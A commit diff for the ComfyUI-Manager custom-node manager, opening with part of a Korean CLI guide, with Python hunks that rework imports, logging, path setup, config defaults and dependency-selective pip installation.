* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
### 6. 의존성 설치
`restore-dependencies`
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
* ComfyUI를 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
### 6. 의존성 파일로 설치
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
* `uv`가 설치된 환경에서만 동작합니다.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. clear
### 7. clear
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
File diff suppressed because it is too large Load Diff
@@ -2,6 +2,7 @@ import subprocess
import sys
import os
import traceback
import time
import git
import json
@@ -9,19 +10,15 @@ import yaml
import requests
from tqdm.auto import tqdm
from git.remote import RemoteProgress
from comfyui_manager.common.timestamp_utils import get_backup_branch_name
comfy_path = os.environ.get('COMFYUI_PATH')
git_exe_path = os.environ.get('GIT_EXE_PATH')
if comfy_path is None:
print("git_helper: environment variable 'COMFYUI_PATH' is not specified.")
exit(-1)
print("\nWARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.", file=sys.stderr)
comfy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
print("git_helper: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.")
exit(-1)
def download_url(url, dest_folder, filename=None):
# Ensure the destination folder exists
@@ -157,27 +154,27 @@ def switch_to_default_branch(repo):
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.git.checkout(default_branch)
return True
except Exception:
except:
# try checkout master
# try checkout main if failed
try:
repo.git.checkout(repo.heads.master)
return True
except Exception:
except:
try:
if remote_name is not None:
repo.git.checkout('-b', 'master', f'{remote_name}/master')
return True
except Exception:
except:
try:
repo.git.checkout(repo.heads.main)
return True
except Exception:
except:
try:
if remote_name is not None:
repo.git.checkout('-b', 'main', f'{remote_name}/main')
return True
except Exception:
except:
pass
print("[ComfyUI Manager] Failed to switch to the default branch")
@@ -226,7 +223,7 @@ def gitpull(path):
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
repo.create_head(backup_name)
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
@@ -455,7 +452,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install'] + non_url)
except Exception:
except:
pass
# fallback
@@ -464,7 +461,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except Exception:
except:
pass
if res != 0:
@@ -475,7 +472,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except Exception:
except:
pass
if res != 0:
@@ -486,7 +483,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except Exception:
except:
pass
if res != 0:
File diff suppressed because it is too large Load Diff
+8 -4
View File
@@ -2,16 +2,20 @@
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
## Directory Structure
- **glob/** - code for new cacheless ComfyUI-Manager
- **legacy/** - code for legacy ComfyUI-Manager
## Core Modules
- **manager_core.py**: The central implementation of management functions, handling configuration, installation, updates, and node management.
- **manager_server.py**: Implements server functionality and API endpoints for the web interface to interact with the backend.
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
- **manager_util.py**: Provides utility functions used throughout the system.
## Specialized Modules
- **cm_global.py**: Maintains global variables and state management across the system.
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
- **git_utils.py**: Git-specific utilities for repository operations.
- **node_package.py**: Handles the packaging and installation of node extensions.
- **security_check.py**: Implements the multi-level security system for installation safety.
- **share_3rdparty.py**: Manages integration with third-party sharing platforms.
## Architecture
@@ -6,12 +6,10 @@ import time
from dataclasses import dataclass
from typing import List
from . import context
from . import manager_util
import manager_core
import manager_util
import requests
import toml
import logging
base_url = "https://api.comfy.org"
@@ -24,7 +22,7 @@ async def get_cnr_data(cache_mode=True, dont_wait=True):
try:
return await _get_cnr_data(cache_mode, dont_wait)
except asyncio.TimeoutError:
logging.info("A timeout occurred during the fetch process from ComfyRegistry.")
print("A timeout occurred during the fetch process from ComfyRegistry.")
return await _get_cnr_data(cache_mode=True, dont_wait=True) # timeout fallback
async def _get_cnr_data(cache_mode=True, dont_wait=True):
@@ -49,9 +47,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
# Get ComfyUI version tag
if is_desktop:
# extract version from pyproject.toml instead of git tag
comfyui_ver = context.get_current_comfyui_ver() or 'unknown'
comfyui_ver = manager_core.get_current_comfyui_ver() or 'unknown'
else:
comfyui_ver = context.get_comfyui_tag() or 'unknown'
comfyui_ver = manager_core.get_comfyui_tag() or 'unknown'
if is_desktop:
if is_windows:
@@ -69,10 +67,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
form_factor = 'git-linux'
else:
form_factor = 'other'
from comfyui_manager.glob import manager_core
verbose = manager_core.get_config().get('verbose', False)
while remained:
# Add comfyui_version and form_factor to the API request
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
@@ -82,13 +77,13 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
for x in sub_json_obj['nodes']:
full_nodes[x['id']] = x
if page % 5 == 0 and verbose:
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
if page % 5 == 0:
print(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
page += 1
time.sleep(0.5)
logging.info("FETCH ComfyRegistry Data [DONE]")
print("FETCH ComfyRegistry Data [DONE]")
for v in full_nodes.values():
if 'latest_version' not in v:
@@ -104,7 +99,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
if cache_state == 'not-cached':
return {}
else:
logging.info("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
print("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
return json.load(json_file)['nodes']
@@ -116,9 +111,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
json_obj = await fetch_all()
manager_util.save_to_cache(uri, json_obj)
return json_obj['nodes']
except Exception:
except:
res = {}
logging.warning("Cannot connect to comfyregistry.")
print("Cannot connect to comfyregistry.")
finally:
if cache_mode:
is_cache_loading = False
@@ -215,7 +210,6 @@ def read_cnr_info(fullpath):
project = data.get('project', {})
name = project.get('name').strip().lower()
original_name = project.get('name')
# normalize version
# for example: 2.5 -> 2.5.0
@@ -227,7 +221,6 @@ def read_cnr_info(fullpath):
if name and version: # repository is optional
return {
"id": name,
"original_name": original_name,
"version": version,
"url": repository
}
@@ -243,8 +236,8 @@ def generate_cnr_id(fullpath, cnr_id):
if not os.path.exists(cnr_id_path):
with open(cnr_id_path, "w") as f:
return f.write(cnr_id)
except Exception:
logging.error(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
except:
print(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
def read_cnr_id(fullpath):
@@ -253,7 +246,7 @@ def read_cnr_id(fullpath):
if os.path.exists(cnr_id_path):
with open(cnr_id_path) as f:
return f.read().strip()
except Exception:
except:
pass
return None
@@ -74,12 +74,6 @@ def normalize_to_github_id(url) -> str:
return f"{author}/{repo_name}"
# Handle short format like "author/repo" (aux_id format)
if '/' in url and not url.startswith('http'):
parts = url.split('/')
if len(parts) == 2 and parts[0] and parts[1]:
return url
return None
@@ -15,7 +15,6 @@ import platform
from datetime import datetime
import git
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
from git.remote import RemoteProgress
from urllib.parse import urlparse
from tqdm.auto import tqdm
@@ -24,6 +23,7 @@ import yaml
import zipfile
import traceback
from concurrent.futures import ThreadPoolExecutor, as_completed
import toml
orig_print = print
@@ -32,25 +32,24 @@ from packaging import version
import uuid
from ..common import cm_global
from ..common import cnr_utils
from ..common import manager_util
from ..common import git_utils
from ..common import manager_downloader
from ..common.node_package import InstalledNodePackage
from ..common.enums import NetworkMode, SecurityLevel, DBMode
from ..common import context
glob_path = os.path.join(os.path.dirname(__file__)) # ComfyUI-Manager/glob
sys.path.append(glob_path)
import cm_global
import cnr_utils
import manager_util
import git_utils
import manager_downloader
import manager_migration
from node_package import InstalledNodePackage
version_code = [4, 1]
version_code = [3, 41]
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
default_custom_nodes_path = None
@@ -60,14 +59,13 @@ class InvalidChannel(Exception):
self.channel = channel
super().__init__(channel)
def get_default_custom_nodes_path():
global default_custom_nodes_path
if default_custom_nodes_path is None:
try:
import folder_paths
default_custom_nodes_path = folder_paths.get_folder_paths("custom_nodes")[0]
except Exception:
except:
default_custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
return default_custom_nodes_path
@@ -77,11 +75,37 @@ def get_custom_nodes_paths():
try:
import folder_paths
return folder_paths.get_folder_paths("custom_nodes")
except Exception:
except:
custom_nodes_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..'))
return [custom_nodes_path]
def get_comfyui_tag():
try:
repo = git.Repo(comfy_path)
return repo.git.describe('--tags')
except:
return None
def get_current_comfyui_ver():
"""
Extract version from pyproject.toml
"""
toml_path = os.path.join(comfy_path, 'pyproject.toml')
if not os.path.exists(toml_path):
return None
else:
try:
with open(toml_path, "r", encoding="utf-8") as f:
data = toml.load(f)
project = data.get('project', {})
return project.get('version')
except:
return None
def get_script_env():
new_env = os.environ.copy()
git_exe = get_config().get('git_exe')
@@ -89,10 +113,10 @@ def get_script_env():
new_env['GIT_EXE_PATH'] = git_exe
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = context.comfy_path
new_env['COMFYUI_PATH'] = comfy_path
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
new_env['COMFYUI_FOLDERS_BASE_PATH'] = context.comfy_path
new_env['COMFYUI_FOLDERS_BASE_PATH'] = comfy_path
return new_env
@@ -114,12 +138,12 @@ def check_invalid_nodes():
try:
import folder_paths
except Exception:
except:
try:
sys.path.append(context.comfy_path)
sys.path.append(comfy_path)
import folder_paths
except Exception:
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {context.comfy_path}")
except:
raise Exception(f"Invalid COMFYUI_FOLDERS_BASE_PATH: {comfy_path}")
def check(root):
global invalid_nodes
@@ -154,6 +178,76 @@ def check_invalid_nodes():
print("\n---------------------------------------------------------------------------\n")
# read env vars
comfy_path: str = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
try:
import folder_paths
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
except:
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
manager_files_path = None
manager_config_path = None
manager_channel_list_path = None
manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_components_path = None
def update_user_directory(user_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
global manager_startup_script_path
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_components_path
manager_files_path = manager_migration.get_manager_path(user_dir)
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
manager_migration.run_migration_checks(user_dir, manager_files_path)
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
if not os.path.exists(manager_snapshot_path):
os.makedirs(manager_snapshot_path)
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
manager_config_path = os.path.join(manager_files_path, 'config.ini')
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_components_path = os.path.join(manager_files_path, "components")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
if not os.path.exists(manager_util.cache_dir):
os.makedirs(manager_util.cache_dir)
try:
import folder_paths
update_user_directory(folder_paths.get_user_directory())
except Exception:
# fallback:
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
cached_config = None
js_path = None
@@ -164,7 +258,7 @@ comfy_ui_revision = "Unknown"
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
channel_dict = None
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
valid_channels = {'default', 'local'}
channel_list = None
@@ -529,7 +623,7 @@ class UnifiedManager:
ver = str(manager_util.StrictVersion(info['version']))
return {'id': cnr['id'], 'cnr': cnr, 'ver': ver}
else:
return {'id': info['id'], 'ver': info['version']}
return None
else:
return None
@@ -705,9 +799,7 @@ class UnifiedManager:
return latest
async def reload(self, cache_mode, dont_wait=True, update_cnr_map=True):
import folder_paths
async def reload(self, cache_mode, dont_wait=True):
self.custom_node_map_cache = {}
self.cnr_inactive_nodes = {} # node_id -> node_version -> fullpath
self.nightly_inactive_nodes = {} # node_id -> fullpath
@@ -715,18 +807,17 @@ class UnifiedManager:
self.unknown_active_nodes = {} # node_id -> repo url * fullpath
self.active_nodes = {} # node_id -> node_version * fullpath
if get_config()['network_mode'] != 'public' or manager_util.is_manager_pip_package():
if get_config()['network_mode'] != 'public':
dont_wait = True
if update_cnr_map:
# reload 'cnr_map' and 'repo_cnr_map'
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
# reload 'cnr_map' and 'repo_cnr_map'
cnrs = await cnr_utils.get_cnr_data(cache_mode=cache_mode=='cache', dont_wait=dont_wait)
for x in cnrs:
self.cnr_map[x['id']] = x
if 'repository' in x:
normalized_url = git_utils.normalize_url(x['repository'])
self.repo_cnr_map[normalized_url] = x
for x in cnrs:
self.cnr_map[x['id']] = x
if 'repository' in x:
normalized_url = git_utils.normalize_url(x['repository'])
self.repo_cnr_map[normalized_url] = x
# reload node status info from custom_nodes/*
for custom_nodes_path in folder_paths.get_folder_paths('custom_nodes'):
@@ -774,7 +865,7 @@ class UnifiedManager:
if 'id' in x:
if x['id'] not in res:
res[x['id']] = (x, True)
except Exception:
except:
logging.error(f"[ComfyUI-Manager] broken item:{x}")
return res
@@ -827,10 +918,10 @@ class UnifiedManager:
def safe_version(ver_str):
try:
return version.parse(ver_str)
except Exception:
except:
return version.parse("0.0.0")
def execute_install_script(self, url, repo_path, instant_execution=False, lazy_mode=False, no_deps=False):
def execute_install_script(self, url, repo_path, instant_execution=False, lazy_mode=False, no_deps=False, selected_dependencies=None):
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
@@ -841,14 +932,26 @@ class UnifiedManager:
else:
if os.path.exists(requirements_path) and not no_deps:
print("Install: pip packages")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), context.comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
# Create a set of selected dependency lines for quick lookup
selected_lines = set()
if selected_dependencies:
for dep in selected_dependencies:
selected_lines.add(dep.get('line', '').strip())
lines = manager_util.robust_readlines(requirements_path)
for line in lines:
# Skip if selected_dependencies is provided and this line is not in the selected list
if selected_dependencies is not None and line.strip() not in selected_lines:
continue
package_name = remap_pip_package(line.strip())
if package_name and not package_name.startswith('#') and package_name not in self.processed_install:
self.processed_install.add(package_name)
install_cmd = manager_util.make_pip_cmd(["install", package_name])
if package_name.strip() != "" and not package_name.startswith('#'):
clean_package_name = package_name.split('#')[0].strip()
install_cmd = manager_util.make_pip_cmd(["install", clean_package_name])
if clean_package_name != "" and not clean_package_name.startswith('#'):
res = res and try_install_script(url, repo_path, install_cmd, instant_execution=instant_execution)
pip_fixer.fix_broken()
@@ -862,7 +965,7 @@ class UnifiedManager:
return res
def reserve_cnr_switch(self, target, zip_url, from_path, to_path, no_deps):
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
with open(script_path, "a") as file:
obj = [target, "#LAZY-CNR-SWITCH-SCRIPT", zip_url, from_path, to_path, no_deps, get_default_custom_nodes_path(), sys.executable]
file.write(f"{obj}\n")
@@ -1250,7 +1353,7 @@ class UnifiedManager:
return result
def repo_install(self, url: str, repo_path: str, instant_execution=False, no_deps=False, return_postinstall=False):
def repo_install(self, url: str, repo_path: str, instant_execution=False, no_deps=False, return_postinstall=False, selected_dependencies=None):
result = ManagedResult('install-git')
result.append(url)
@@ -1268,7 +1371,7 @@ class UnifiedManager:
print(f"Download: git clone '{clone_url}'")
if not instant_execution and platform.system() == 'Windows':
res = manager_funcs.run_script([sys.executable, context.git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
res = manager_funcs.run_script([sys.executable, git_script_path, "--clone", get_default_custom_nodes_path(), clone_url, repo_path], cwd=get_default_custom_nodes_path())
if res != 0:
return result.fail(f"Failed to clone repo: {clone_url}")
else:
@@ -1277,7 +1380,7 @@ class UnifiedManager:
repo.close()
def postinstall():
return self.execute_install_script(url, repo_path, instant_execution=instant_execution, no_deps=no_deps)
return self.execute_install_script(url, repo_path, instant_execution=instant_execution, no_deps=no_deps, selected_dependencies=selected_dependencies)
if return_postinstall:
return result.with_postinstall(postinstall)
@@ -1376,7 +1479,7 @@ class UnifiedManager:
else:
return self.cnr_switch_version(node_id, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall).with_ver('cnr')
async def install_by_id(self, node_id: str, version_spec=None, channel=None, mode=None, instant_execution=False, no_deps=False, return_postinstall=False):
async def install_by_id(self, node_id: str, version_spec=None, channel=None, mode=None, instant_execution=False, no_deps=False, return_postinstall=False, selected_dependencies=None):
"""
priority if version_spec == None
1. CNR latest
@@ -1411,18 +1514,8 @@ class UnifiedManager:
else: # nightly
repo_url = the_node['repository']
else:
# Fallback for nightly only: use repository URL from CNR map
# when node is registered in CNR but absent from nightly manifest
if version_spec == 'nightly':
cnr_fallback = self.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
if self.is_enabled(node_id, version_spec):
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
@@ -1431,21 +1524,13 @@ class UnifiedManager:
return self.unified_enable(node_id, version_spec)
elif version_spec == 'unknown' or version_spec == 'nightly':
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
if version_spec == 'nightly':
# disable cnr nodes
if self.is_enabled(node_id, 'cnr'):
self.unified_disable(node_id, False)
# use `repo name` as a dir name instead of `cnr id` if system added nodepack (i.e. publisher is null)
cnr = self.cnr_map.get(node_id)
if cnr is not None and cnr.get('publisher') is None:
repo_name = os.path.basename(git_utils.normalize_url(repo_url))
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), repo_name))
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall)
to_path = os.path.abspath(os.path.join(get_default_custom_nodes_path(), node_id))
res = self.repo_install(repo_url, to_path, instant_execution=instant_execution, no_deps=no_deps, return_postinstall=return_postinstall, selected_dependencies=selected_dependencies)
if res.result:
if version_spec == 'unknown':
self.unknown_active_nodes[node_id] = repo_url, to_path
@@ -1505,7 +1590,7 @@ def identify_node_pack_from_path(fullpath):
if github_id is None:
try:
github_id = os.path.basename(repo_url)
except Exception:
except:
logging.warning(f"[ComfyUI-Manager] unexpected repo url: {repo_url}")
github_id = module_name
@@ -1560,10 +1645,10 @@ def get_channel_dict():
if channel_dict is None:
channel_dict = {}
if not os.path.exists(context.manager_channel_list_path):
shutil.copy(context.channel_list_template_path, context.manager_channel_list_path)
if not os.path.exists(manager_channel_list_path):
shutil.copy(channel_list_template_path, manager_channel_list_path)
with open(context.manager_channel_list_path, 'r') as file:
with open(manager_channel_list_path, 'r') as file:
channels = file.read()
for x in channels.split('\n'):
channel_info = x.split("::")
@@ -1589,6 +1674,9 @@ class ManagerFuncs:
def __init__(self):
pass
def get_current_preview_method(self):
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -1606,12 +1694,14 @@ def write_config():
config = configparser.ConfigParser(strict=False)
config['default'] = {
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': get_config()['git_exe'],
'use_uv': get_config()['use_uv'],
'channel_url': get_config()['channel_url'],
'share_option': get_config()['share_option'],
'bypass_ssl': get_config()['bypass_ssl'],
"file_logging": get_config()['file_logging'],
'component_policy': get_config()['component_policy'],
'update_policy': get_config()['update_policy'],
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
'model_download_by_agent': get_config()['model_download_by_agent'],
@@ -1620,6 +1710,8 @@ def write_config():
'always_lazy_install': get_config()['always_lazy_install'],
'network_mode': get_config()['network_mode'],
'db_mode': get_config()['db_mode'],
'allow_git_url_install': get_config()['allow_git_url_install'],
'allow_pip_install': get_config()['allow_pip_install'],
}
# Sanitize all string values to prevent CRLF injection attacks
@@ -1627,18 +1719,18 @@ def write_config():
if isinstance(value, str):
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
directory = os.path.dirname(context.manager_config_path)
directory = os.path.dirname(manager_config_path)
if not os.path.exists(directory):
os.makedirs(directory)
with open(context.manager_config_path, 'w') as configfile:
with open(manager_config_path, 'w') as configfile:
config.write(configfile)
def read_config():
try:
config = configparser.ConfigParser(strict=False)
config.read(context.manager_config_path)
config.read(manager_config_path)
default_conf = config['default']
def get_bool(key, default_value):
@@ -1647,47 +1739,61 @@ def read_config():
manager_util.use_uv = default_conf['use_uv'].lower() == 'true' if 'use_uv' in default_conf else False
manager_util.bypass_ssl = get_bool('bypass_ssl', False)
return {
result = {
'http_channel_enabled': get_bool('http_channel_enabled', False),
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
'git_exe': default_conf.get('git_exe', ''),
'use_uv': get_bool('use_uv', True),
'use_uv': get_bool('use_uv', False),
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
'default_cache_as_channel_url': get_bool('default_cache_as_channel_url', False),
'share_option': default_conf.get('share_option', 'all').lower(),
'bypass_ssl': get_bool('bypass_ssl', False),
'file_logging': get_bool('file_logging', True),
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
'model_download_by_agent': get_bool('model_download_by_agent', False),
'downgrade_blacklist': default_conf.get('downgrade_blacklist', '').lower(),
'always_lazy_install': get_bool('always_lazy_install', False),
'network_mode': default_conf.get('network_mode', NetworkMode.PUBLIC.value).lower(),
'security_level': default_conf.get('security_level', SecurityLevel.NORMAL.value).lower(),
'db_mode': default_conf.get('db_mode', DBMode.CACHE.value).lower(),
'network_mode': default_conf.get('network_mode', 'public').lower(),
'security_level': default_conf.get('security_level', 'normal').lower(),
'db_mode': default_conf.get('db_mode', 'cache').lower(),
'allow_git_url_install': get_bool('allow_git_url_install', False),
'allow_pip_install': get_bool('allow_pip_install', False),
}
manager_migration.force_security_level_if_needed(result)
return result
except Exception:
manager_util.use_uv = False
import importlib.util
# temporary disable `uv` on Windows by default (https://github.com/Comfy-Org/ComfyUI-Manager/issues/1969)
manager_util.use_uv = importlib.util.find_spec("uv") is not None and platform.system() != "Windows"
manager_util.bypass_ssl = False
return {
result = {
'http_channel_enabled': False,
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': '',
'use_uv': True,
'use_uv': manager_util.use_uv,
'channel_url': DEFAULT_CHANNEL,
'default_cache_as_channel_url': False,
'share_option': 'all',
'bypass_ssl': manager_util.bypass_ssl,
'file_logging': True,
'component_policy': 'workflow',
'update_policy': 'stable-comfyui',
'windows_selector_event_loop_policy': False,
'model_download_by_agent': False,
'downgrade_blacklist': '',
'always_lazy_install': False,
'network_mode': NetworkMode.PUBLIC.value,
'security_level': SecurityLevel.NORMAL.value,
'db_mode': DBMode.CACHE.value,
'network_mode': 'public', # public | private | offline
'security_level': 'normal', # strong | normal | normal- | weak
'db_mode': 'cache', # local | cache | remote
'allow_git_url_install': False,
'allow_pip_install': False,
}
manager_migration.force_security_level_if_needed(result)
return result
def get_config():
@@ -1730,27 +1836,27 @@ def switch_to_default_branch(repo):
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.git.checkout(default_branch)
return True
except Exception:
except:
# try checkout master
# try checkout main if failed
try:
repo.git.checkout(repo.heads.master)
return True
except Exception:
except:
try:
if remote_name is not None:
repo.git.checkout('-b', 'master', f'{remote_name}/master')
return True
except Exception:
except:
try:
repo.git.checkout(repo.heads.main)
return True
except Exception:
except:
try:
if remote_name is not None:
repo.git.checkout('-b', 'main', f'{remote_name}/main')
return True
except Exception:
except:
pass
print("[ComfyUI Manager] Failed to switch to the default branch")
@@ -1758,10 +1864,10 @@ def switch_to_default_branch(repo):
def reserve_script(repo_path, install_cmds):
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
script_path = os.path.join(context.manager_startup_script_path, "install-scripts.txt")
script_path = os.path.join(manager_startup_script_path, "install-scripts.txt")
with open(script_path, "a") as file:
obj = [repo_path] + install_cmds
file.write(f"{obj}\n")
@@ -1801,7 +1907,7 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
print(f"[WARN] ComfyUI-Manager: Your ComfyUI version ({comfy_ui_revision})[{comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version.")
print("[WARN] The extension installation feature may not work properly in the current installed ComfyUI version on Windows environment.")
print("###################################################################\n\n")
except Exception:
except:
pass
if code != 0:
@@ -1816,11 +1922,11 @@ def try_install_script(url, repo_path, install_cmd, instant_execution=False):
# use subprocess to avoid file system lock by git (Windows)
def __win_check_git_update(path, do_fetch=False, do_update=False):
if do_fetch:
command = [sys.executable, context.git_script_path, "--fetch", path]
command = [sys.executable, git_script_path, "--fetch", path]
elif do_update:
command = [sys.executable, context.git_script_path, "--pull", path]
command = [sys.executable, git_script_path, "--pull", path]
else:
command = [sys.executable, context.git_script_path, "--check", path]
command = [sys.executable, git_script_path, "--check", path]
new_env = get_script_env()
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=get_default_custom_nodes_path(), env=new_env)
@@ -1874,12 +1980,12 @@ def __win_check_git_update(path, do_fetch=False, do_update=False):
def __win_check_git_pull(path):
command = [sys.executable, context.git_script_path, "--pull", path]
command = [sys.executable, git_script_path, "--pull", path]
